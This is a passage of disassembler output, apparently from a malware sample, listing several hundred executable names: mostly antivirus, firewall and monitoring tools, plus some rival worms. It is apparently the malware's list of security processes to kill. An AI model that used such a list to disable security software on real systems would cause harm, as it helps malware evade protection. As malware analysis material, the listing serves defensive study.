dd offset aWintsk32_exe ; "WINTSK32.EXE"
dd offset aWinupdate_exe ; "WINUPDATE.EXE"
dd offset aWkufind_exe ; "WKUFIND.EXE"
dd offset aWnad_exe ; "WNAD.EXE"
dd offset aWnt_exe ; "WNT.EXE"
dd offset aWradmin_exe ; "WRADMIN.EXE"
dd offset aWrctrl_exe ; "WRCTRL.EXE"
dd offset aWsbgate_exe ; "WSBGATE.EXE"
dd offset aWupdater_exe ; "WUPDATER.EXE"
dd offset aWupdt_exe ; "WUPDT.EXE"
dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE"
dd offset aXpf202en_exe ; "XPF202EN.EXE"
dd offset aZapro_exe ; "ZAPRO.EXE"
dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE"
dd offset aZatutor_exe ; "ZATUTOR.EXE"
dd offset aZonalm2601_exe ; "ZONALM2601.EXE"
dd offset aZonealarm_exe ; "ZONEALARM.EXE"
dd offset a_avp32_exe ; "_AVP32.EXE"
dd offset a_avpcc_exe ; "_AVPCC.EXE"
dd offset a_avpm_exe ; "_AVPM.EXE"
dd offset aHijackthis_exe ; "HIJACKTHIS.EXE"
dd offset aFAgobot_exe ; "F-AGOBOT.EXE"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset aSysinfo_exe ; "sysinfo.exe"
dd offset aMscvb32_exe ; "mscvb32.exe"
dd offset aPenis32_exe ; "Penis32.exe"
dd offset aBbeagle_exe ; "bbeagle.exe"
dd offset aSysmonxp_exe ; "SysMonXP.exe"
dd offset aWinupd_exe ; "winupd.exe"
dd offset aWinsys_exe ; "winsys.exe"
dd offset aSsate_exe ; "ssate.exe"
dd offset aRate_exe ; "rate.exe"
dd offset aD3dupdate_exe ; "d3dupdate.exe"
dd offset aIrun4_exe ; "irun4.exe"
dd offset aI11r54n4_exe ; "i11r54n4.exe"
aAckwin32_exe db 'ACKWIN32.EXE',0 ; DATA XREF: sub_40B4F2+ECo
; .data:off_43B340o
align 10h
aAdaware_exe db 'ADAWARE.EXE',0 ; DATA XREF: .data:0043B344o
aAdvxdwin_exe db 'ADVXDWIN.EXE',0 ; DATA XREF: .data:0043B348o
align 4
aAgentsvr_exe db 'AGENTSVR.EXE',0 ; DATA XREF: .data:0043B34Co
align 4
aAgentw_exe db 'AGENTW.EXE',0 ; DATA XREF: .data:0043B350o
align 4
aAlertsvc_exe db 'ALERTSVC.EXE',0 ; DATA XREF: .data:0043B354o
align 4
aAlevir_exe db 'ALEVIR.EXE',0 ; DATA XREF: .data:0043B358o
align 4
aAlogserv_exe db 'ALOGSERV.EXE',0 ; DATA XREF: .data:0043B35Co
align 4
aAmon9x_exe db 'AMON9X.EXE',0 ; DATA XREF: .data:0043B360o
align 10h
aAntiTrojan_exe db 'ANTI-TROJAN.EXE',0 ; DATA XREF: .data:0043B364o
aAntivirus_exe db 'ANTIVIRUS.EXE',0 ; DATA XREF: .data:0043B368o
align 10h
aAnts_exe db 'ANTS.EXE',0 ; DATA XREF: .data:0043B36Co
align 4
aApimonitor_exe db 'APIMONITOR.EXE',0 ; DATA XREF: .data:0043B370o
align 4
aAplica32_exe db 'APLICA32.EXE',0 ; DATA XREF: .data:0043B374o
align 4
aApvxdwin_exe db 'APVXDWIN.EXE',0 ; DATA XREF: .data:0043B378o
align 4
aArr_exe db 'ARR.EXE',0 ; DATA XREF: .data:0043B37Co
aAtcon_exe db 'ATCON.EXE',0 ; DATA XREF: .data:0043B380o
align 10h
aAtguard_exe db 'ATGUARD.EXE',0 ; DATA XREF: .data:0043B384o
aAtro55en_exe db 'ATRO55EN.EXE',0 ; DATA XREF: .data:0043B388o
align 4
aAtupdater_exe db 'ATUPDATER.EXE',0 ; DATA XREF: .data:0043B38Co
align 4
aAtupdater_ex_0 db 'ATUPDATER.EXE',0 ; DATA XREF: .data:0043B390o
align 4
aAtwatch_exe db 'ATWATCH.EXE',0 ; DATA XREF: .data:0043B394o
aAu_exe db 'AU.EXE',0 ; DATA XREF: .data:0043B398o
align 10h
aAupdate_exe db 'AUPDATE.EXE',0 ; DATA XREF: .data:0043B39Co
aAupdate_exe_0 db 'AUPDATE.EXE',0 ; DATA XREF: .data:0043B3A0o
aAutodown_exe db 'AUTODOWN.EXE',0 ; DATA XREF: .data:0043B3A4o
align 4
aAutodown_exe_0 db 'AUTODOWN.EXE',0 ; DATA XREF: .data:0043B3A8o
align 4
aAutotrace_exe db 'AUTOTRACE.EXE',0 ; DATA XREF: .data:0043B3ACo
align 4
aAutotrace_ex_0 db 'AUTOTRACE.EXE',0 ; DATA XREF: .data:0043B3B0o
align 4
aAutoupdate_exe db 'AUTOUPDATE.EXE',0 ; DATA XREF: .data:0043B3B4o
align 4
aAutoupdate_e_0 db 'AUTOUPDATE.EXE',0 ; DATA XREF: .data:0043B3B8o
align 4
aAvconsol_exe db 'AVCONSOL.EXE',0 ; DATA XREF: .data:0043B3BCo
align 4
aAve32_exe db 'AVE32.EXE',0 ; DATA XREF: .data:0043B3C0o
align 4
aAvgcc32_exe db 'AVGCC32.EXE',0 ; DATA XREF: .data:0043B3C4o
aAvgctrl_exe db 'AVGCTRL.EXE',0 ; DATA XREF: .data:0043B3C8o
aAvgnt_exe db 'AVGNT.EXE',0 ; DATA XREF: .data:0043B3CCo
align 4
aAvgserv_exe db 'AVGSERV.EXE',0 ; DATA XREF: .data:0043B3D0o
aAvgserv9_exe db 'AVGSERV9.EXE',0 ; DATA XREF: .data:0043B3D4o
align 4
aAvguard_exe db 'AVGUARD.EXE',0 ; DATA XREF: .data:0043B3D8o
aAvgw_exe db 'AVGW.EXE',0 ; DATA XREF: .data:0043B3DCo
align 4
aAvkpop_exe db 'AVKPOP.EXE',0 ; DATA XREF: .data:0043B3E0o
align 4
aAvkserv_exe db 'AVKSERV.EXE',0 ; DATA XREF: .data:0043B3E4o
aAvkservice_exe db 'AVKSERVICE.EXE',0 ; DATA XREF: .data:0043B3E8o
align 4
aAvkwctl9_exe db 'AVKWCTl9.EXE',0 ; DATA XREF: .data:0043B3ECo
align 4
aAvltmain_exe db 'AVLTMAIN.EXE',0 ; DATA XREF: .data:0043B3F0o
align 4
aAvnt_exe db 'AVNT.EXE',0 ; DATA XREF: .data:0043B3F4o
align 10h
aAvp_exe db 'AVP.EXE',0 ; DATA XREF: .data:0043B3F8o
aAvp32_exe db 'AVP32.EXE',0 ; DATA XREF: .data:0043B3FCo
align 4
aAvpcc_exe db 'AVPCC.EXE',0 ; DATA XREF: .data:0043B400o
align 10h
aAvpdos32_exe db 'AVPDOS32.EXE',0 ; DATA XREF: .data:0043B404o
align 10h
aAvpm_exe db 'AVPM.EXE',0 ; DATA XREF: .data:0043B408o
align 4
aAvptc32_exe db 'AVPTC32.EXE',0 ; DATA XREF: .data:0043B40Co
aAvpupd_exe db 'AVPUPD.EXE',0 ; DATA XREF: .data:0043B410o
align 4
aAvpupd_exe_0 db 'AVPUPD.EXE',0 ; DATA XREF: .data:0043B414o
align 10h
aAvsched32_exe db 'AVSCHED32.EXE',0 ; DATA XREF: .data:0043B418o
align 10h
aAvsynmgr_exe db 'AVSYNMGR.EXE',0 ; DATA XREF: .data:0043B41Co
align 10h
aAvwin95_exe db 'AVWIN95.EXE',0 ; DATA XREF: .data:0043B420o
aAvwinnt_exe db 'AVWINNT.EXE',0 ; DATA XREF: .data:0043B424o
aAvwupd_exe db 'AVWUPD.EXE',0 ; DATA XREF: .data:0043B428o
align 4
aAvwupd32_exe db 'AVWUPD32.EXE',0 ; DATA XREF: .data:0043B42Co
align 4
aAvwupd32_exe_0 db 'AVWUPD32.EXE',0 ; DATA XREF: .data:0043B430o
align 4
aAvwupsrv_exe db 'AVWUPSRV.EXE',0 ; DATA XREF: .data:0043B434o
align 4
aAvxmonitor9x_e db 'AVXMONITOR9X.EXE',0 ; DATA XREF: .data:0043B438o
align 4
aAvxmonitornt_e db 'AVXMONITORNT.EXE',0 ; DATA XREF: .data:0043B43Co
align 4
aAvxquar_exe db 'AVXQUAR.EXE',0 ; DATA XREF: .data:0043B440o
aAvxquar_exe_0 db 'AVXQUAR.EXE',0 ; DATA XREF: .data:0043B444o
aBackweb_exe db 'BACKWEB.EXE',0 ; DATA XREF: .data:0043B448o
aBargains_exe db 'BARGAINS.EXE',0 ; DATA XREF: .data:0043B44Co
align 10h
aBd_professiona db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: .data:0043B450o
aBeagle_exe db 'BEAGLE.EXE',0 ; DATA XREF: .data:0043B454o
align 10h
aBelt_exe db 'BELT.EXE',0 ; DATA XREF: .data:0043B458o
align 4
aBidef_exe db 'BIDEF.EXE',0 ; DATA XREF: .data:0043B45Co
align 4
aBidserver_exe db 'BIDSERVER.EXE',0 ; DATA XREF: .data:0043B460o
align 4
aBipcp_exe db 'BIPCP.EXE',0 ; DATA XREF: .data:0043B464o
align 4
aBipcpevalsetup db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: .data:0043B468o
align 4
aBisp_exe db 'BISP.EXE',0 ; DATA XREF: .data:0043B46Co
align 4
aBlackd_exe db 'BLACKD.EXE',0 ; DATA XREF: .data:0043B470o
align 10h
aBlackice_exe db 'BLACKICE.EXE',0 ; DATA XREF: .data:0043B474o
align 10h
aBlss_exe db 'BLSS.EXE',0 ; DATA XREF: .data:0043B478o
align 4
aBootconf_exe db 'BOOTCONF.EXE',0 ; DATA XREF: .data:0043B47Co
align 4
aBootwarn_exe db 'BOOTWARN.EXE',0 ; DATA XREF: .data:0043B480o
align 4
aBorg2_exe db 'BORG2.EXE',0 ; DATA XREF: .data:0043B484o
align 4
aBpc_exe db 'BPC.EXE',0 ; DATA XREF: .data:0043B488o
aBrasil_exe db 'BRASIL.EXE',0 ; DATA XREF: .data:0043B48Co
align 4
aBs120_exe db 'BS120.EXE',0 ; DATA XREF: .data:0043B490o
align 4
aBundle_exe db 'BUNDLE.EXE',0 ; DATA XREF: .data:0043B494o
align 4
aBvt_exe db 'BVT.EXE',0 ; DATA XREF: .data:0043B498o
aCcapp_exe db 'CCAPP.EXE',0 ; DATA XREF: .data:0043B49Co
align 4
aCcevtmgr_exe db 'CCEVTMGR.EXE',0 ; DATA XREF: .data:0043B4A0o
align 4
aCcpxysvc_exe db 'CCPXYSVC.EXE',0 ; DATA XREF: .data:0043B4A4o
align 4
aCdp_exe db 'CDP.EXE',0 ; DATA XREF: .data:0043B4A8o
aCfd_exe db 'CFD.EXE',0 ; DATA XREF: .data:0043B4ACo
aCfgwiz_exe db 'CFGWIZ.EXE',0 ; DATA XREF: .data:0043B4B0o
align 4
aCfiadmin_exe db 'CFIADMIN.EXE',0 ; DATA XREF: .data:0043B4B4o
align 4
aCfiaudit_exe db 'CFIAUDIT.EXE',0 ; DATA XREF: .data:0043B4B8o
align 4
aCfiaudit_exe_0 db 'CFIAUDIT.EXE',0 ; DATA XREF: .data:0043B4BCo
align 4
aCfinet_exe db 'CFINET.EXE',0 ; DATA XREF: .data:0043B4C0o
align 10h
aCfinet32_exe db 'CFINET32.EXE',0 ; DATA XREF: .data:0043B4C4o
align 10h
aClaw95cf_exe db 'CLAW95CF.EXE',0 ; DATA XREF: .data:0043B4C8o
align 10h
aClean_exe db 'CLEAN.EXE',0 ; DATA XREF: .data:0043B4CCo
align 4
aCleaner_exe db 'CLEANER.EXE',0 ; DATA XREF: .data:0043B4D0o
aCleaner3_exe db 'CLEANER3.EXE',0 ; DATA XREF: .data:0043B4D4o
align 4
aCleanpc_exe db 'CLEANPC.EXE',0 ; DATA XREF: .data:0043B4D8o
aClick_exe db 'CLICK.EXE',0 ; DATA XREF: .data:0043B4DCo
align 10h
aCmd32_exe db 'CMD32.EXE',0 ; DATA XREF: .data:0043B4E0o
align 4
aCmesys_exe db 'CMESYS.EXE',0 ; DATA XREF: .data:0043B4E4o
align 4
aCmgrdian_exe db 'CMGRDIAN.EXE',0 ; DATA XREF: .data:0043B4E8o
align 4
aCmon016_exe db 'CMON016.EXE',0 ; DATA XREF: .data:0043B4ECo
aConnectionmoni db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: .data:0043B4F0o
align 4
aCpd_exe db 'CPD.EXE',0 ; DATA XREF: .data:0043B4F4o
aCpf9x206_exe db 'CPF9X206.EXE',0 ; DATA XREF: .data:0043B4F8o
align 4
aCpfnt206_exe db 'CPFNT206.EXE',0 ; DATA XREF: .data:0043B4FCo
align 4
aCtrl_exe db 'CTRL.EXE',0 ; DATA XREF: .data:0043B500o
align 10h
aCv_exe db 'CV.EXE',0 ; DATA XREF: .data:0043B504o
align 4
aCwnb181_exe db 'CWNB181.EXE',0 ; DATA XREF: .data:0043B508o
aCwntdwmo_exe db 'CWNTDWMO.EXE',0 ; DATA XREF: .data:0043B50Co
align 4
aClaw95_exe db 'Claw95.EXE',0 ; DATA XREF: .data:0043B510o
align 10h
aClaw95cf_exe_0 db 'CLAW95CF.EXE',0 ; DATA XREF: .data:0043B514o
align 10h
aDatemanager_ex db 'DATEMANAGER.EXE',0 ; DATA XREF: .data:0043B518o
aDcomx_exe db 'DCOMX.EXE',0 ; DATA XREF: .data:0043B51Co
align 4
aDefalert_exe db 'DEFALERT.EXE',0 ; DATA XREF: .data:0043B520o
align 4
aDefscangui_exe db 'DEFSCANGUI.EXE',0 ; DATA XREF: .data:0043B524o
align 4
aDefwatch_exe db 'DEFWATCH.EXE',0 ; DATA XREF: .data:0043B528o
align 4
aDeputy_exe db 'DEPUTY.EXE',0 ; DATA XREF: .data:0043B52Co
align 4
aDivx_exe db 'DIVX.EXE',0 ; DATA XREF: .data:0043B530o
align 4
aDllcache_exe db 'DLLCACHE.EXE',0 ; DATA XREF: .data:0043B534o
align 4
aDllreg_exe db 'DLLREG.EXE',0 ; DATA XREF: .data:0043B538o
align 10h
aDoors_exe db 'DOORS.EXE',0 ; DATA XREF: .data:0043B53Co
align 4
aDpf_exe db 'DPF.EXE',0 ; DATA XREF: .data:0043B540o
aDpfsetup_exe db 'DPFSETUP.EXE',0 ; DATA XREF: .data:0043B544o
align 4
aDpps2_exe db 'DPPS2.EXE',0 ; DATA XREF: .data:0043B548o
align 10h
aDrwatson_exe db 'DRWATSON.EXE',0 ; DATA XREF: .data:0043B54Co
align 10h
aDrweb32_exe db 'DRWEB32.EXE',0 ; DATA XREF: .data:0043B550o
aDrwebupw_exe db 'DRWEBUPW.EXE',0 ; DATA XREF: .data:0043B554o
align 4
aDssagent_exe db 'DSSAGENT.EXE',0 ; DATA XREF: .data:0043B558o
align 4
aDvp95_exe db 'DVP95.EXE',0 ; DATA XREF: .data:0043B55Co
align 4
aDvp95_0_exe db 'DVP95_0.EXE',0 ; DATA XREF: .data:0043B560o
aEcengine_exe db 'ECENGINE.EXE',0 ; DATA XREF: .data:0043B564o
align 4
aEfpeadm_exe db 'EFPEADM.EXE',0 ; DATA XREF: .data:0043B568o
aEmsw_exe db 'EMSW.EXE',0 ; DATA XREF: .data:0043B56Co
align 4
aEnt_exe db 'ENT.EXE',0 ; DATA XREF: .data:0043B570o
aEsafe_exe db 'ESAFE.EXE',0 ; DATA XREF: .data:0043B574o
align 10h
aEscanh95_exe db 'ESCANH95.EXE',0 ; DATA XREF: .data:0043B578o
align 10h
aEscanhnt_exe db 'ESCANHNT.EXE',0 ; DATA XREF: .data:0043B57Co
align 10h
aEscanv95_exe db 'ESCANV95.EXE',0 ; DATA XREF: .data:0043B580o
align 10h
aEspwatch_exe db 'ESPWATCH.EXE',0 ; DATA XREF: .data:0043B584o
align 10h
aEthereal_exe db 'ETHEREAL.EXE',0 ; DATA XREF: .data:0043B588o
align 10h
aEtrustcipe_exe db 'ETRUSTCIPE.EXE',0 ; DATA XREF: .data:0043B58Co
align 10h
aEvpn_exe db 'EVPN.EXE',0 ; DATA XREF: .data:0043B590o
align 4
aExantivirusCne db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: .data:0043B594o
align 4
aExe_avxw_exe db 'EXE.AVXW.EXE',0 ; DATA XREF: .data:0043B598o
align 4
aExpert_exe db 'EXPERT.EXE',0 ; DATA XREF: .data:0043B59Co
align 10h
aExplore_exe db 'EXPLORE.EXE',0 ; DATA XREF: .data:0043B5A0o
aFAgnt95_exe db 'F-AGNT95.EXE',0 ; DATA XREF: .data:0043B5A4o
align 4
aFProt_exe db 'F-PROT.EXE',0 ; DATA XREF: .data:0043B5A8o
align 4
aFProt95_exe db 'F-PROT95.EXE',0 ; DATA XREF: .data:0043B5ACo
align 4
aFStopw_exe db 'F-STOPW.EXE',0 ; DATA XREF: .data:0043B5B0o
aFameh32_exe db 'FAMEH32.EXE',0 ; DATA XREF: .data:0043B5B4o
aFast_exe db 'FAST.EXE',0 ; DATA XREF: .data:0043B5B8o
align 4
aFch32_exe db 'FCH32.EXE',0 ; DATA XREF: .data:0043B5BCo
align 4
aFih32_exe db 'FIH32.EXE',0 ; DATA XREF: .data:0043B5C0o
align 4
aFindviru_exe db 'FINDVIRU.EXE',0 ; DATA XREF: .data:0043B5C4o
align 4
aFirewall_exe db 'FIREWALL.EXE',0 ; DATA XREF: .data:0043B5C8o
align 4
aFlowprotector_ db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: .data:0043B5CCo
align 4
aFnrb32_exe db 'FNRB32.EXE',0 ; DATA XREF: .data:0043B5D0o
align 4
aFpWin_exe db 'FP-WIN.EXE',0 ; DATA XREF: .data:0043B5D4o
align 10h
aFpWin_trial_ex db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: .data:0043B5D8o
align 4
aFprot_exe db 'FPROT.EXE',0 ; DATA XREF: .data:0043B5DCo
align 10h
aFrw_exe db 'FRW.EXE',0 ; DATA XREF: .data:0043B5E0o
aFsaa_exe db 'FSAA.EXE',0 ; DATA XREF: .data:0043B5E4o
align 4
aFsav_exe db 'FSAV.EXE',0 ; DATA XREF: .data:0043B5E8o
align 10h
aFsav32_exe db 'FSAV32.EXE',0 ; DATA XREF: .data:0043B5ECo
align 4
aFsav530stbyb_e db 'FSAV530STBYB.EXE',0 ; DATA XREF: .data:0043B5F0o
align 10h
aFsav530wtbyb_e db 'FSAV530WTBYB.EXE',0 ; DATA XREF: .data:0043B5F4o
align 4
aFsav95_exe db 'FSAV95.EXE',0 ; DATA XREF: .data:0043B5F8o
align 10h
aFsgk32_exe db 'FSGK32.EXE',0 ; DATA XREF: .data:0043B5FCo
align 4
aFsm32_exe db 'FSM32.EXE',0 ; DATA XREF: .data:0043B600o
align 4
aFsma32_exe db 'FSMA32.EXE',0 ; DATA XREF: .data:0043B604o
align 4
aFsmb32_exe db 'FSMB32.EXE',0 ; DATA XREF: .data:0043B608o
align 10h
aGator_exe db 'GATOR.EXE',0 ; DATA XREF: .data:0043B60Co
align 4
aGbmenu_exe db 'GBMENU.EXE',0 ; DATA XREF: .data:0043B610o
align 4
aGbpoll_exe db 'GBPOLL.EXE',0 ; DATA XREF: .data:0043B614o
align 4
aGenerics_exe db 'GENERICS.EXE',0 ; DATA XREF: .data:0043B618o
align 4
aGmt_exe db 'GMT.EXE',0 ; DATA XREF: .data:0043B61Co
aGuard_exe db 'GUARD.EXE',0 ; DATA XREF: .data:0043B620o
align 4
aGuarddog_exe db 'GUARDDOG.EXE',0 ; DATA XREF: .data:0043B624o
align 4
aHacktracersetu db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: .data:0043B628o
aHbinst_exe db 'HBINST.EXE',0 ; DATA XREF: .data:0043B62Co
align 4
aHbsrv_exe db 'HBSRV.EXE',0 ; DATA XREF: .data:0043B630o
align 4
aHotactio_exe db 'HOTACTIO.EXE',0 ; DATA XREF: .data:0043B634o
align 4
aHotpatch_exe db 'HOTPATCH.EXE',0 ; DATA XREF: .data:0043B638o
align 4
aHtlog_exe db 'HTLOG.EXE',0 ; DATA XREF: .data:0043B63Co
align 10h
aHtpatch_exe db 'HTPATCH.EXE',0 ; DATA XREF: .data:0043B640o
aHwpe_exe db 'HWPE.EXE',0 ; DATA XREF: .data:0043B644o
align 4
aHxdl_exe db 'HXDL.EXE',0 ; DATA XREF: .data:0043B648o
align 4
aHxiul_exe db 'HXIUL.EXE',0 ; DATA XREF: .data:0043B64Co
align 10h
aIamapp_exe db 'IAMAPP.EXE',0 ; DATA XREF: .data:0043B650o
align 4
aIamserv_exe db 'IAMSERV.EXE',0 ; DATA XREF: .data:0043B654o
aIamstats_exe db 'IAMSTATS.EXE',0 ; DATA XREF: .data:0043B658o
align 4
aIbmasn_exe db 'IBMASN.EXE',0 ; DATA XREF: .data:0043B65Co
align 4
aIbmavsp_exe db 'IBMAVSP.EXE',0 ; DATA XREF: .data:0043B660o
aIcload95_exe db 'ICLOAD95.EXE',0 ; DATA XREF: .data:0043B664o
align 10h
aIcloadnt_exe db 'ICLOADNT.EXE',0 ; DATA XREF: .data:0043B668o
align 10h
aIcmon_exe db 'ICMON.EXE',0 ; DATA XREF: .data:0043B66Co
align 4
aIcsupp95_exe db 'ICSUPP95.EXE',0 ; DATA XREF: .data:0043B670o
align 4
aIcsupp95_exe_0 db 'ICSUPP95.EXE',0 ; DATA XREF: .data:0043B674o
align 4
aIcsuppnt_exe db 'ICSUPPNT.EXE',0 ; DATA XREF: .data:0043B678o
align 4
aIdle_exe db 'IDLE.EXE',0 ; DATA XREF: .data:0043B67Co
align 4
aIedll_exe db 'IEDLL.EXE',0 ; DATA XREF: .data:0043B680o
align 4
aIedriver_exe db 'IEDRIVER.EXE',0 ; DATA XREF: .data:0043B684o
align 4
aIexplorer_exe db 'IEXPLORER.EXE',0 ; DATA XREF: .data:0043B688o
align 4
aIface_exe db 'IFACE.EXE',0 ; DATA XREF: .data:0043B68Co
align 10h
aIfw2000_exe db 'IFW2000.EXE',0 ; DATA XREF: .data:0043B690o
aInetlnfo_exe db 'INETLNFO.EXE',0 ; DATA XREF: .data:0043B694o
align 4
aInfus_exe db 'INFUS.EXE',0 ; DATA XREF: .data:0043B698o
align 4
aInfwin_exe db 'INFWIN.EXE',0 ; DATA XREF: .data:0043B69Co
align 4
aInit_exe db 'INIT.EXE',0 ; DATA XREF: .data:0043B6A0o
align 10h
aIntdel_exe db 'INTDEL.EXE',0 ; DATA XREF: .data:0043B6A4o
align 4
aIntren_exe db 'INTREN.EXE',0 ; DATA XREF: .data:0043B6A8o
align 4
aIomon98_exe db 'IOMON98.EXE',0 ; DATA XREF: .data:0043B6ACo
aIparmor_exe db 'IPARMOR.EXE',0 ; DATA XREF: .data:0043B6B0o
aIris_exe db 'IRIS.EXE',0 ; DATA XREF: .data:0043B6B4o
align 4
aIsass_exe db 'ISASS.EXE',0 ; DATA XREF: .data:0043B6B8o
align 4
aIsrv95_exe db 'ISRV95.EXE',0 ; DATA XREF: .data:0043B6BCo
align 4
aIstsvc_exe db 'ISTSVC.EXE',0 ; DATA XREF: .data:0043B6C0o
align 10h
aJammer_exe db 'JAMMER.EXE',0 ; DATA XREF: .data:0043B6C4o
align 4
aJdbgmrg_exe db 'JDBGMRG.EXE',0 ; DATA XREF: .data:0043B6C8o
aJedi_exe db 'JEDI.EXE',0 ; DATA XREF: .data:0043B6CCo
align 4
aKavlite40eng_e db 'KAVLITE40ENG.EXE',0 ; DATA XREF: .data:0043B6D0o
align 4
aKavpers40eng_e db 'KAVPERS40ENG.EXE',0 ; DATA XREF: .data:0043B6D4o
align 4
aKavpf_exe db 'KAVPF.EXE',0 ; DATA XREF: .data:0043B6D8o
align 4
aKazza_exe db 'KAZZA.EXE',0 ; DATA XREF: .data:0043B6DCo
align 4
aKeenvalue_exe db 'KEENVALUE.EXE',0 ; DATA XREF: .data:0043B6E0o
align 4
aKerioPf213EnWi db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: .data:0043B6E4o
aKerioWrl421EnW db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: .data:0043B6E8o
align 4
aKerioWrp421EnW db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: .data:0043B6ECo
align 4
aKernel32_exe db 'KERNEL32.EXE',0 ; DATA XREF: .data:0043B6F0o
align 4
aKillprocessset db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: .data:0043B6F4o
aLauncher_exe db 'LAUNCHER.EXE',0 ; DATA XREF: .data:0043B6F8o
align 4
aLdnetmon_exe db 'LDNETMON.EXE',0 ; DATA XREF: .data:0043B6FCo
align 4
aLdpro_exe db 'LDPRO.EXE',0 ; DATA XREF: .data:0043B700o
align 4
aLdpromenu_exe db 'LDPROMENU.EXE',0 ; DATA XREF: .data:0043B704o
align 4
aLdscan_exe db 'LDSCAN.EXE',0 ; DATA XREF: .data:0043B708o
align 4
aLnetinfo_exe db 'LNETINFO.EXE',0 ; DATA XREF: .data:0043B70Co
align 4
aLoader_exe db 'LOADER.EXE',0 ; DATA XREF: .data:0043B710o
align 10h
aLocalnet_exe db 'LOCALNET.EXE',0 ; DATA XREF: .data:0043B714o
align 10h
aLockdown_exe db 'LOCKDOWN.EXE',0 ; DATA XREF: .data:0043B718o
align 10h
aLockdown2000_e db 'LOCKDOWN2000.EXE',0 ; DATA XREF: .data:0043B71Co
align 4
aLookout_exe db 'LOOKOUT.EXE',0 ; DATA XREF: .data:0043B720o
aLordpe_exe db 'LORDPE.EXE',0 ; DATA XREF: .data:0043B724o
align 4
aLsetup_exe db 'LSETUP.EXE',0 ; DATA XREF: .data:0043B728o
align 4
aLuall_exe db 'LUALL.EXE',0 ; DATA XREF: .data:0043B72Co
align 4
aLuall_exe_0 db 'LUALL.EXE',0 ; DATA XREF: .data:0043B730o
align 10h
aLuau_exe db 'LUAU.EXE',0 ; DATA XREF: .data:0043B734o
align 4
aLucomserver_ex db 'LUCOMSERVER.EXE',0 ; DATA XREF: .data:0043B738o
aLuinit_exe db 'LUINIT.EXE',0 ; DATA XREF: .data:0043B73Co
align 4
aLuspt_exe db 'LUSPT.EXE',0 ; DATA XREF: .data:0043B740o
align 4
aMapisvc32_exe db 'MAPISVC32.EXE',0 ; DATA XREF: .data:0043B744o
align 4
aMcagent_exe db 'MCAGENT.EXE',0 ; DATA XREF: .data:0043B748o
aMcmnhdlr_exe db 'MCMNHDLR.EXE',0 ; DATA XREF: .data:0043B74Co
align 10h
aMcshield_exe db 'MCSHIELD.EXE',0 ; DATA XREF: .data:0043B750o
align 10h
aMctool_exe db 'MCTOOL.EXE',0 ; DATA XREF: .data:0043B754o
align 4
aMcupdate_exe db 'MCUPDATE.EXE',0 ; DATA XREF: .data:0043B758o
align 4
aMcupdate_exe_0 db 'MCUPDATE.EXE',0 ; DATA XREF: .data:0043B75Co
align 4
aMcvsrte_exe db 'MCVSRTE.EXE',0 ; DATA XREF: .data:0043B760o
aMcvsshld_exe db 'MCVSSHLD.EXE',0 ; DATA XREF: .data:0043B764o
align 4
aMd_exe db 'MD.EXE',0 ; DATA XREF: .data:0043B768o
align 10h
aMfin32_exe db 'MFIN32.EXE',0 ; DATA XREF: .data:0043B76Co
align 4
aMfw2en_exe db 'MFW2EN.EXE',0 ; DATA XREF: .data:0043B770o
align 4
aMfweng3_02d30_ db 'MFWENG3.02D30.EXE',0 ; DATA XREF: .data:0043B774o
align 4
aMgavrtcl_exe db 'MGAVRTCL.EXE',0 ; DATA XREF: .data:0043B778o
align 4
aMgavrte_exe db 'MGAVRTE.EXE',0 ; DATA XREF: .data:0043B77Co
aMghtml_exe db 'MGHTML.EXE',0 ; DATA XREF: .data:0043B780o
align 4
aMgui_exe db 'MGUI.EXE',0 ; DATA XREF: .data:0043B784o
align 10h
aMinilog_exe db 'MINILOG.EXE',0 ; DATA XREF: .data:0043B788o
aMmod_exe db 'MMOD.EXE',0 ; DATA XREF: .data:0043B78Co
align 4
aMonitor_exe db 'MONITOR.EXE',0 ; DATA XREF: .data:0043B790o
aMoolive_exe db 'MOOLIVE.EXE',0 ; DATA XREF: .data:0043B794o
aMostat_exe db 'MOSTAT.EXE',0 ; DATA XREF: .data:0043B798o
align 4
aMpfagent_exe db 'MPFAGENT.EXE',0 ; DATA XREF: .data:0043B79Co
align 4
aMpfservice_exe db 'MPFSERVICE.EXE',0 ; DATA XREF: .data:0043B7A0o
align 4
aMpftray_exe db 'MPFTRAY.EXE',0 ; DATA XREF: .data:0043B7A4o
aMrflux_exe db 'MRFLUX.EXE',0 ; DATA XREF: .data:0043B7A8o
align 4
aMsapp_exe db 'MSAPP.EXE',0 ; DATA XREF: .data:0043B7ACo
align 10h
aMsbb_exe db 'MSBB.EXE',0 ; DATA XREF: .data:0043B7B0o
align 4
aMsblast_exe db 'MSBLAST.EXE',0 ; DATA XREF: .data:0043B7B4o
aMscache_exe db 'MSCACHE.EXE',0 ; DATA XREF: .data:0043B7B8o
aMsccn32_exe db 'MSCCN32.EXE',0 ; DATA XREF: .data:0043B7BCo
aMscman_exe db 'MSCMAN.EXE',0 ; DATA XREF: .data:0043B7C0o
align 4
aMsconfig_exe db 'MSCONFIG.EXE',0 ; DATA XREF: .data:0043B7C4o
align 4
aMsdm_exe db 'MSDM.EXE',0 ; DATA XREF: .data:0043B7C8o
align 4
aMsdos_exe db 'MSDOS.EXE',0 ; DATA XREF: .data:0043B7CCo
align 4
aMsiexec16_exe db 'MSIEXEC16.EXE',0 ; DATA XREF: .data:0043B7D0o
align 4
aMsinfo32_exe db 'MSINFO32.EXE',0 ; DATA XREF: .data:0043B7D4o
align 4
aMslaugh_exe db 'MSLAUGH.EXE',0 ; DATA XREF: .data:0043B7D8o
aMsmgt_exe db 'MSMGT.EXE',0 ; DATA XREF: .data:0043B7DCo
align 4
aMsmsgri32_exe db 'MSMSGRI32.EXE',0 ; DATA XREF: .data:0043B7E0o
align 4
aMssmmc32_exe db 'MSSMMC32.EXE',0 ; DATA XREF: .data:0043B7E4o
align 4
